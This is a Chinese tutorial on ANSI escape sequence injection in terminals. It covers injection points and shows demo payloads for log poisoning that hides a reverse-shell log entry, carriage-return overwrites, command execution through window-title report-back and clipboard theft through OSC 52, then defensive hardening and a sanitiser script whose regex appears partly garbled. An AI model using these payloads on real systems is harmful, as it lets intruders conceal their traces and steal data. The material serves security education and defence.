ANSI 转义序列注入攻击教学文档
本文档基于《「幻核-2」你的终端在"叛变" ANSI 转义序列注入攻击》一文内容整理,旨在系统性地介绍ANSI转义序列的原理、攻击手法与防御措施,为安全研究与系统运维提供详尽参考。
第一章:ANSI 转义序列概述
1.1 历史背景
ANSI转义序列起源于1978年DEC公司发布的VT100终端。该终端设计了一套以ESC(0x1B)开头的控制序列,用于实现彩色文字显示、光标移动、清屏等功能。近半个世纪后,现代终端模拟器仍保留了对这些序列的解析能力。
1.2 核心设计缺陷
终端模拟器本质上是一个状态机,它逐字节读取输入流:
- 遇到普通字符:直接渲染显示。
- 遇到0x1B(ESC):进入转义序列解析模式。
根本性问题在于:终端模拟器通过PTY(伪终端)接收数据,但它不区分“普通数据输出”与“控制指令”。这种数据平面与控制平面的混合,为攻击提供了基础。
第二章:ANSI 转义序列类型与功能
终端根据ESC字符后跟的不同字符,将转义序列分为以下几大类:
| 类型 | 格式 | 功能示例 | HEX 字节示例 |
|---|---|---|---|
| CSI | ESC [ <params> <letter> |
\e[2J 清屏 / \e[6n 查询光标位置 |
1b 5b 32 4a / 1b 5b 36 6e |
| OSC | ESC ] <n> ; <data> BEL |
\e]2;title\a 设置窗口标题 |
1b 5d 32 3b 74 69 74 6c 65 07 |
| DCS | ESC P <data> ST |
\eP$qm\e\ 查询图形渲染状态 |
1b 50 24 71 6d 1b 5c |
| SGR | ESC [ <n> m |
\e[31m 红色文字 / \e[8m 隐藏文字 |
1b 5b 33 31 6d / 1b 5b 38 6d |
| 单字符 | ESC <char> |
\ec 完全重置终端 |
1b 63 |
| 控制字符 | 单字节 0x00-0x1F | \r 回车(光标移到行首) |
0d |
第三章:攻击面与注入点
攻击者无需直接控制终端,仅需在数据流的上游注入恶意字节序列即可。常见注入点包括:
-
HTTP 日志注入
- 手法:发送包含转义序列的HTTP请求,如
GET /\x1b[2J HTTP/1.1。 - 效果:Web服务器(如Apache/Nginx)将原始字节写入
access.log。管理员使用cat查看日志时,终端执行清屏。
- 手法:发送包含转义序列的HTTP请求,如
-
SSH 用户名注入
- 手法:以
\x1b]2;evil\a作为用户名尝试SSH登录。 - 效果:
syslog记录该用户名,管理员查看auth.log时触发终端窗口标题篡改。
- 手法:以
-
恶意文件名
- 手法:创建名为
$‘\e[31mVIRUS\e[0m’的文件。 - 效果:用户执行
ls时,终端会以红色显示“VIRUS”字样,或产生更恶劣的视觉效果。
- 手法:创建名为
-
Kubernetes 终止日志
- 手法:Pod向
/dev/termination-log写入转义序列。 - 效果:运维执行
kubectl describe pod查看日志时,终端被劫持。
- 手法:Pod向
-
Python HTTP Server
- 手法:
python3 -m http.server将请求路径原样打印。访问/?%1b[2J即可注入。 - 效果:启动服务器的终端会执行清屏。
- 手法:
-
curl / wget 输出
- 手法:恶意服务器在HTTP响应体中嵌入转义序列。
- 效果:用户执行
curl http://evil.com,输出直接送入终端解析执行。
第四章:核心攻击手法详解
4.1 日志投毒(Log Poisoning)
目标:篡改或隐藏日志内容,欺骗管理员。
原理:在日志文件中注入 \e[2J(清屏)和 \e[H(光标归位)序列。当管理员cat查看时,终端会先渲染真实日志,然后立即清屏并将光标移至左上角,最后显示攻击者后续追加的伪造“正常”日志,从而掩盖真实攻击痕迹。
关键脚本:
#!/bin/bash
LOG_FILE="/tmp/demo_app.log"
# 1. 写入真实攻击日志
echo “[CRITICAL]: Reverse shell established…” >> “$LOG_FILE”
# 2. 注入控制序列
printf ‘\e[2J\e[H’ >> “$LOG_FILE”
# 3. 写入伪造的正常日志
echo “[INFO]: 0 errors in last 24 hours” >> “$LOG_FILE”
防御:使用 cat -v 或 less 查看日志,可使控制字符可视化。
4.2 回车覆写(Carriage Return Overwrite)
目标:在同一行内覆盖输出,实现视觉欺骗。
原理:利用 \r (0x0D,回车) 将光标拉回当前行行首,后续输出会覆盖该行原有内容。结合 \e[2K(擦除整行)可实现完美替换。此手法可绕过 less -R 的过滤。
应用场景:
- 伪造下载源:使终端行显示合法URL,实际输出流中包含恶意URL。
- 伪造哈希校验:在自动化脚本中,即使校验失败,也能瞬间覆盖为“OK”。
- 隐藏进程:覆写
ps或top输出,将恶意进程伪装成系统进程。
HTTP日志中的攻击示例:
curl -s “http://target.local/login%0d%1b[2K192.168.1.1 - - …”
4.3 窗口标题回传RCE
目标:通过设置并查询终端窗口标题,实现远程命令执行。
攻击链:
- 设置标题:注入
\e]2;<命令>;\a序列,将恶意命令设置为终端窗口标题。 - 查询标题:注入
\e[21t序列,向终端查询当前窗口标题。 - 回传执行:某些终端(如配置不当的xterm)在响应查询时,会将标题内容作为键盘输入回传到输入缓冲区。若标题中包含Shell命令,则可能被执行。
关键Payload生成(Python):
import sys
ESC = “\x1b”
SET_TITLE = f“{ESC}]2;”
QUERY_TITLE = f“{ESC}[21t”
HIDE_TEXT = f“{ESC}[8m” # 隐藏文本,避免屏幕上显示Payload
payload = HIDE_TEXT.encode()
payload += f“{SET_TITLE}; id > /tmp/poc; #{BEL}”.encode()
payload += QUERY_TITLE.encode()
sys.stdout.buffer.write(payload)
触发条件:管理员使用cat查看被投毒的日志文件。
防御:禁用终端的相关窗口操作。
4.4 DECRQSS 回显注入
目标:利用终端状态查询功能实现命令注入。
原理:DECRQSS(Device Control Request Status String)用于查询终端状态,格式为 \eP$q<参数>\e\。部分终端在构造响应时,会将请求中的<参数>原样嵌入响应。如果参数中包含换行符和Shell命令,则可能被注入执行。
关联漏洞:CVE-2022-45063 利用了类似的OSC 50(字体查询)响应机制,在Zsh的vi-mode下,通过BEL字符触发命令执行。
4.5 OSC 52 剪贴板窃取
目标:读取用户系统剪贴板中的敏感信息。
原理:OSC 52 转义序列允许应用程序与系统剪贴板交互。
- 设置剪贴板:
\e]52;c;<base64_data>\a(普遍支持) - 读取剪贴板:
\e]52;c;?\a(部分终端默认支持)
攻击脚本核心:
# 切换终端到Raw模式,发送查询请求并捕获响应
tty.setraw(fd)
os.write(sys.stdout.fileno(), b“\x1b]52;c;?\x07“)
response = os.read(fd, 1024) # 尝试读取包含剪贴板内容的响应
防御:在终端配置中禁用OSC 52的读取功能。
第五章:防御与缓解措施
5.1 安全查看文件
绝对禁止直接使用 cat 查看不受信任的文件。 应使用以下命令:
# 1. 控制字符可视化(最常用)
cat -v suspicious.log
# 2. 使用 less 的安全模式(推荐)
less suspicious.log
# 3. 十六进制查看
hexdump -C suspicious.log | less
# 4. 过滤所有ESC字符
sed ‘s/\x1b//g’ suspicious.log | less
# 5. 设置别名(加入.bashrc)
alias cat=‘cat -v’
5.2 终端配置加固
- xterm 加固
编辑~/.Xresources文件:! 禁用所有危险的窗口操作 XTerm*allowWindowOps: false XTerm*disallowedWindowOps: 20,21,SetXprop - tmux 加固
编辑~/.tmux.conf文件:# 防止转义序列穿透到宿主终端 set -g allow-passthrough off
5.3 管道数据清洗
编写脚本对输出流进行过滤,移除所有ANSI转义序列和危险控制字符。
#!/usr/bin/env python3
import re, sys
ANSI_ESCAPE_RE = re.compile(r‘\x1b[
$$
][0-9;]*[A-Za-z]|
$$
.*?(?:\x07|\x1b\\)|P.*?\x1b\\|[()#].‘, re.DOTALL)
def sanitize(text):
return ANSI_ESCAPE_RE.sub(““, text)
for line in sys.stdin:
sys.stdout.write(sanitize(line))
用法:cat dirty.log | python3 sanitize.py > clean.log
第六章:总结与反思
ANSI转义序列攻击的本质是利用了终端“数据与控制指令同信道”的先天性设计缺陷。在VT100设计的时代,所有输入都被认为是可信的。然而,在现代计算环境中,终端需要处理来自网络、日志、外部文件等大量不可信来源的数据,这种信任模型已不再安全。
核心安全建议:
- 零信任原则:永远假设你将要显示的数据流可能包含恶意控制序列。
- 工具化:使用
cat -v,less等安全工具查看文件,并养成习惯。 - 环境加固:在终端和复用器(如tmux)的配置中,禁用非必要的交互功能。
- 纵深防御:在关键数据管道中部署过滤清洗脚本。
通过理解攻击原理、熟悉攻击手法并实施有效防御,可以显著降低因终端“叛变”而导致的数据泄露与系统失陷风险。